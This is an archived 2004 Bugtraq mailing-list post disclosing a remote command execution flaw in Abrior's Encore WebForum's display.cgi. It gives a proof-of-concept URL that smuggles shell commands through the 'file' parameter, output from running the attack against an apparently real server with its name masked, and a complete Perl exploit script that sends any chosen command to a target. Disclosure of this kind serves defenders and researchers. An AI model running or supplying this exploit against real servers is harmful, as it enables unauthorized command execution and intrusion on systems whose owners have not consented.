bugtraq - Remote Exploit for Aborior's Encore Web Forum

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 03 Apr 2004 13:47:52 +0700
From: "XNUXER RESEARCH" <xnuxer@...kermail.com>
To: bugtraq@...urityfocus.com
Subject: Remote Exploit for Aborior's Encore Web Forum


==================================================================
Product              : Abrior's Encore WebForum
Versions             : Unchecked (maybe version I)
Bug                  : Remote Command Execution via Display.cgi
Impact               : Attackers can execute remote command
Risk                 : Medium/High
Date                 : April 3, 2004
Bug found by         : k159 from g-security (g-security.tk)
Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory
Reference            : http://www.infosekuriti.com
Email                : xnuxer@...oo.com, xnuxer@...kermail.com
==================================================================

Description
-------------
Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder (forumcgi).
Attacker can execute command via browser with doing request to display.cgi and 
launch command from "file" variable.

Proof Of Concept
----------------

http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|

Exploit
-------
This exploit presented by Schizoprenic from Xnuxer Research Lab.
It just for education purpose only.

[xnuxer@...ver xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c "uname -a;id;uptime;"
Remote Exploit Aborior's Encore Web Forum  by Schizoprenic
Xnuxer Research Laboratory (http://www.infosekuriti.com)
Target: www.xxxxxxx.com
Path Dir: /encore/forumcgi
Command: uname -a;id;uptime;
--------------------RESULT--------------------
Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),10044(webdev)
 01:41:08  up 17 days,  6:00,  0 users,  load average: 0.00, 0.03, 0.00
----------------------------------------------

Note: The real name of domain target in example protected for security reason.

############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk

require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);

my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum  by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";

my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";

if ($response->is_success) {
     print $response->content;
} else {
     die $response->status_line;
}

print "----------------------------------------------\n";

# EOF by Xnuxer
-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze